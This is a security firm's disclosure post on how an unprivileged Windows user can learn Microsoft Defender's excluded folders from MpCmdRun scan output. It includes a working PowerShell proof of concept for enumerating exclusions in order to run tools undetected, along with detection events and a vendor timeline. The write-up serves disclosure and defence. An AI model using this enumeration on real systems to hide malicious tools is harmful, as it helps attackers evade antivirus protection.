Unprivileged enumeration of Microsoft Defender rules

11 Apr 2025 - Proactive Labs

Over the course of numerous assessments we have abused path based exclusions to run our tools on client networks. These exclusions are generally caused by one or more of the following:

  • Backing locations for database files1.
  • Performance concerns2.
  • Vendor software recommendations3.
  • Automatic server role exclusions 4.

We find it’s often possible to operate out of exempted paths, so we aim to use these where possible. We identified an interesting technique to identifying exclusions, without causing AV alerts, and without dropping tools on the target.

tldr: Defender command line interface leaks if a folder is exempted, but only if a subdirectory does not exist.

Background

Microsoft Defender Antivirus (formerly Windows Defender) is an antivirus software component of Microsoft Windows5; it has a number of components, functions and interfaces. For this post we will explore the antivirus component and ignore the others.

Exclusions 101

In short:

  • AV exclusions mean the AV engine will not scan a file.
  • Common exclusions are by process6, file/path7 or extension based exclusions.
  • If you can run a file from an exempted location, you won’t have to deal with tools being detected8.
  • Path based exclusions are dangerous, especially when regular users can write to these folders.

Browsing exclusions (as an admin)

Administrators can browse exclusions under Windows Security -> Virus and Threat Protection -> Manage Settings -> Add/remove exclusions, as shown below:

exclusions as shown in UI

This shows a folder based exclusion for tsclient, a UNC path used for drive mapping in remote sessions.

This is backed by the registry, in KEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions; the below screenshot shows the same exclusion as shown in registry:

exclusions as shown registry

If you’re already administrator, you could enumerate existing configuration, or add a new exclusion9 - but as a regular user, accessing the first page generally results in an access denied, and the registry key is ACL’d off as shown below:

Access denied as regular
user

Other paths for configuration exist, however they have the same limitations.

MpCmdRun

Microsoft Defender has a dedicated command-line tool named MpCmdRun.exe, which is available at C:\Program Files\Windows Defender. Running the program without arguments reveals usage options, as shown below:

C:\Program Files\Windows Defender>MpCmdRun
Microsoft Antimalware Service Command Line Utility (c) 2006-2018 Microsoft Corp
Use this tool to automate and troubleshoot Microsoft Antimalware Service

Usage:
MpCmdRun [command] [-options]

Command Description
   -? / -h                                    Displays all available options
                                              for this tool
   -Scan [-ScanType #] [-File <path> [-DisableRemediation] [-BootSectorScan]]
         [-Timeout <days>]
         [-Cancel]
...<snip>

Of immediate interest are options such as -CheckExclusion - however this is also a privileged operation, and will return a generic error if run as a non-admin user.

Running a scan normally can be done with the following:

PS C:\Program Files\Windows Defender> ./MpCmdRun.exe -scan -path
C:/windows/system32/cmd.exe
Scan starting...
Scan finished.

Running without arguments is fairly slow, with the below run taking just over 5 seconds to operate:

PS C:\Program Files\Windows Defender> measure-command {./MpCmdRun.exe -scan
-path C:/windows/system32/cmd.exe}


Days              : 0
Hours             : 0
Minutes           : 0
Seconds           : 5
Milliseconds      : 845
Ticks             : 58456036
TotalDays         : 6.76574490740741E-05
TotalHours        : 0.00162377877777778
TotalMinutes      : 0.0974267266666667
TotalSeconds      : 5.8456036
TotalMilliseconds : 5845.6036

If we specify a custom scan type, and specify an individual file, we get a substantially faster run time:

PS C:\Program Files\Windows Defender> measure-command {./MpCmdRun.exe -scan
-scantype 3 -file C:/windows/system32/cmd.exe}


Days              : 0
Hours             : 0
Minutes           : 0
Seconds           : 0
Milliseconds      : 18
Ticks             : 187863
TotalDays         : 2.17434027777778E-07
TotalHours        : 5.21841666666667E-06
TotalMinutes      : 0.000313105
TotalSeconds      : 0.0187863
TotalMilliseconds : 18.7863

This will come in handy later.

Information leak (From unprivileged / not admin)

In our above configuration, we have a path based exclusion for \\tsclient, which we can retrieve with the PowerShell cmdlet Get-MpPreference:

PS C:\Program Files\Windows Defender> Get-MpPreference | Select-Object
-Property ExclusionPath

ExclusionPath
-------------
{\\tsclient}

If we attempt to scan this path, Defender shows the following message:

PS C:\Program Files\Windows Defender> ./MpCmdRun.exe -scan -scantype 3 -file
\\tsclient\foo                             Scan starting...
Scan finished.
Scanning \\tsclient\foo was skipped.

If we try with non-UNC paths, by creating and adding a folder such as C:/foo, we get the following results:

C:\Program Files\Windows Defender> Add-MpPreference -ExclusionPath C:/foo
C:\Program Files\Windows Defender> mkdir C:/foo


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
C:\Program Files\Windows Defender> ./MpCmdRun.exe -scan -scantype 3 -file C:/foo/
Scan starting...
Scan finished.
Scanning C:/foo/ found no threats.

This appears to not exhibit the same behaviour - at least on first inspection. We still get the handy pop-up from defender stating the scan ignored a folder:

Defender warning a file was
skipped

After some trial and error, the following was observed:

PS C:\Program Files\Windows Defender> mkdir C:/fo


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
PS C:\Program Files\Windows Defender> ./MpCmdRun.exe -scan -scantype 3 -file C:/fo/x
Scan starting...
Scan finished.
Scanning C:/fo/x was skipped.

A single typo, omitting a single o from foo produced an information leak!

A lot more trial and error occurred, but we made the following observations:

Scanned Path Path exists? Result
C:/foo Yes Scan completes, no info leak
C:/foo/x No Scan completes, no info leak
C:/foo/x/x No Info leak
C:/fo No Scan fails, no info leak
C:/fo/x No Info leak

To make it a bit clearer, the relevant configuration is below:


PS C:\Program Files\Windows Defender>  Get-MpPreference | Select-Object
-Property ExclusionPath

ExclusionPath
-------------
{\\tsclient, C:/fo, C:/foo}

PS C:\Program Files\Windows Defender> gci C:/


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        19/02/2025   3:41 PM                foo
d-----         7/12/2019   8:14 PM                PerfLogs
d-r---        28/01/2025   9:04 AM                Program Files
d-r---        13/11/2024   7:47 PM                Program Files (x86)
d-r---         4/05/2024   7:02 PM                Users
d-----        13/11/2024   8:45 PM                Windows


PS C:\Program Files\Windows Defender> gci C:/foo
PS C:\Program Files\Windows Defender> # no results / empty

It appears we can append a non-existing suffix to a path we want to enumerate, and the handy skipped output will appear, regardless of visibility of the folder

This is our primitive for enumeration!

Scripting enumeration

The following proof of concept will iterate over directories in C:/, run a scan, and check if the output contains “skipped.”.

gci -ErrorAction SilentlyContinue -recurse -Directory C:/ | %{
 $p =  -join($_.FullName, "/x/x");
 $a= & 'C:\Program Files\Windows Defender\mpcmdrun.exe' -scan -scantype 3 -file $p
 

 if ($a -Like "*skipped.*") {
 write-host $_.FullName
 }

}

PoC

Running the above proof of concept on a fairly stock Windows 10 machine took 28 minutes, and did find our custom exclusions as shown below:

Running it for real

We believe this is fairly practical to perform as part of engagements - especially in a smash and grab type scenario; but it’s obviously very noisy.

Noise / Detection

This is not a stealthy technique:

  • Our Win10 Enterprise testbed had 77,782 folders10.
  • The above PoC launches a new process for every directory on %OSDRIVE%, resulting in nearly 80,000 process launch events.
  • Sysmon will capture these as informational event ID 111 (Process create)
  • Every attempt will create informational event ID 100012 (MALWAREPROTECTION_SCAN_STARTED).
  • Most attempts will create error event ID 100513, error 0x80508023 (ERR_MP_THREAT_NOT_FOUND).

Vendor response / Timelines

  • 2025-02-15 - Proactive Labs staff notice weird behaviour.
  • 2025-02-17 - Proof of Concept developed.
  • 2025-02-19 - Report to Microsoft Security Response Center, tracked as “VULN-148242”.
  • 2025-02-20 - Microsoft assigns MSRC Case 95216.
  • 2025-02-28 - MSRC ask for a copy of the blog post for “feedback and to share concerns”, and to ask for the reasoning behind public disclosure. MSRC state they are still triaging the case.
  • 2025-02-28 - PL staff reply, stating MSRC have the majority of the blog post content, and answer the public disclosure question.
  • 2025-03-04 - MSRC report issue does not fall under a serviceable security boundary; However, the report was shared with the team responsible for maintaining the product or service, and they confirmed that the issue has been addressed in the latest version of the Defender platform to help keep customers protected.”
  • 2025-03-07 - MSRC confirm we can release post.

Footnotes

Versions, errata

The following versions were in use for this proof of concept.

Windows 10

PS C:\Users\vagrant> systeminfo | findstr /B /C:"OS Name" /B /C:"OS Version"
OS Name:                   Microsoft Windows 10 Enterprise Evaluation
OS Version:                10.0.19045 N/A Build 19045

PS C:\Users\vagrant> Get-MpComputerStatus


AMEngineVersion                  : 1.1.24090.11
AMProductVersion                 : 4.18.24090.11
AMRunningMode                    : Normal
AMServiceEnabled                 : True
AMServiceVersion                 : 4.18.24090.11
AntispywareEnabled               : True
AntispywareSignatureAge          : 0
AntispywareSignatureLastUpdated  : 19/02/2025 10:24:57 AM
AntispywareSignatureVersion      : 1.421.1979.0
AntivirusEnabled                 : True
AntivirusSignatureAge            : 0
AntivirusSignatureLastUpdated    : 19/02/2025 10:24:54 AM
AntivirusSignatureVersion        : 1.421.1979.0
BehaviorMonitorEnabled           : True
ComputerID                       : <redacted>
ComputerState                    : 0
DefenderSignaturesOutOfDate      : False
DeviceControlDefaultEnforcement  : 
DeviceControlPoliciesLastUpdated : 1/01/1601 11:00:00 AM
DeviceControlState               : Disabled
FullScanAge                      : 4294967295
FullScanEndTime                  : 
FullScanOverdue                  : False
FullScanRequired                 : False
FullScanSignatureVersion         : 
FullScanStartTime                : 
InitializationProgress           : ServiceStartedSuccessfully
IoavProtectionEnabled            : True
IsTamperProtected                : True
IsVirtualMachine                 : True
LastFullScanSource               : 0
LastQuickScanSource              : 1
NISEnabled                       : True
NISEngineVersion                 : 1.1.24090.11
NISSignatureAge                  : 0
NISSignatureLastUpdated          : 19/02/2025 10:24:54 AM
NISSignatureVersion              : 1.421.1979.0
OnAccessProtectionEnabled        : True
ProductStatus                    : 524288
QuickScanAge                     : 0
QuickScanEndTime                 : 19/02/2025 3:19:55 PM
QuickScanOverdue                 : False
QuickScanSignatureVersion        : 1.421.1978.0
QuickScanStartTime               : 19/02/2025 3:19:48 PM
RealTimeProtectionEnabled        : True
RealTimeScanDirection            : 0
RebootRequired                   : False
SmartAppControlExpiration        : 
SmartAppControlState             : Off
TamperProtectionSource           : Signatures
TDTCapable                       : N/A
TDTMode                          : N/A
TDTSiloType                      : N/A
TDTStatus                        : N/A
TDTTelemetry                     : N/A
TroubleShootingDailyMaxQuota     : 
TroubleShootingDailyQuotaLeft    : 
TroubleShootingEndTime           : 
TroubleShootingExpirationLeft    : 
TroubleShootingMode              : 
TroubleShootingModeSource        : 
TroubleShootingQuotaResetTime    : 
TroubleShootingStartTime         : 
PSComputerName                   : 

Windows 11

PS C:\Users\normal_1_adm> systeminfo | findstr /B /C:"OS Name" /B /C:"OS Version"
OS Name:                   Microsoft Windows 11 Enterprise Evaluation
OS Version:                10.0.22631 N/A Build 22631
PS C:\Users\normal_1_adm> Get-MpComputerStatus


AMEngineVersion                  : 1.1.25010.7
AMProductVersion                 : 4.18.2201.11
AMRunningMode                    : Normal
AMServiceEnabled                 : True
AMServiceVersion                 : 4.18.2201.11
AntispywareEnabled               : True
AntispywareSignatureAge          : 1
AntispywareSignatureLastUpdated  : 20/02/2025 3:26:45 AM
AntispywareSignatureVersion      : 1.421.1992.0
AntivirusEnabled                 : True
AntivirusSignatureAge            : 1
AntivirusSignatureLastUpdated    : 20/02/2025 3:26:42 AM
AntivirusSignatureVersion        : 1.421.1992.0
BehaviorMonitorEnabled           : True
ComputerID                       : 985B4063-151A-4E10-B993-A948C49F3DA1
ComputerState                    : 0
DeviceControlDefaultEnforcement  : N/A
DeviceControlPoliciesLastUpdated : 21/02/2025 3:53:05 AM
DeviceControlState               : N/A
FullScanAge                      : 4294967295
FullScanEndTime                  :
FullScanStartTime                :
IoavProtectionEnabled            : True
IsTamperProtected                : True
IsVirtualMachine                 : True
LastFullScanSource               : 0
LastQuickScanSource              : 2
NISEnabled                       : True
NISEngineVersion                 : 1.1.25010.7
NISSignatureAge                  : 1
NISSignatureLastUpdated          : 20/02/2025 3:26:42 AM
NISSignatureVersion              : 1.421.1992.0
OnAccessProtectionEnabled        : True
QuickScanAge                     : 0
QuickScanEndTime                 : 21/02/2025 4:35:26 AM
QuickScanStartTime               : 21/02/2025 4:34:44 AM
RealTimeProtectionEnabled        : True
RealTimeScanDirection            : 0
TamperProtectionSource           : Signatures
TDTMode                          : N/A
TDTStatus                        : N/A
TDTTelemetry                     : N/A
PSComputerName                   :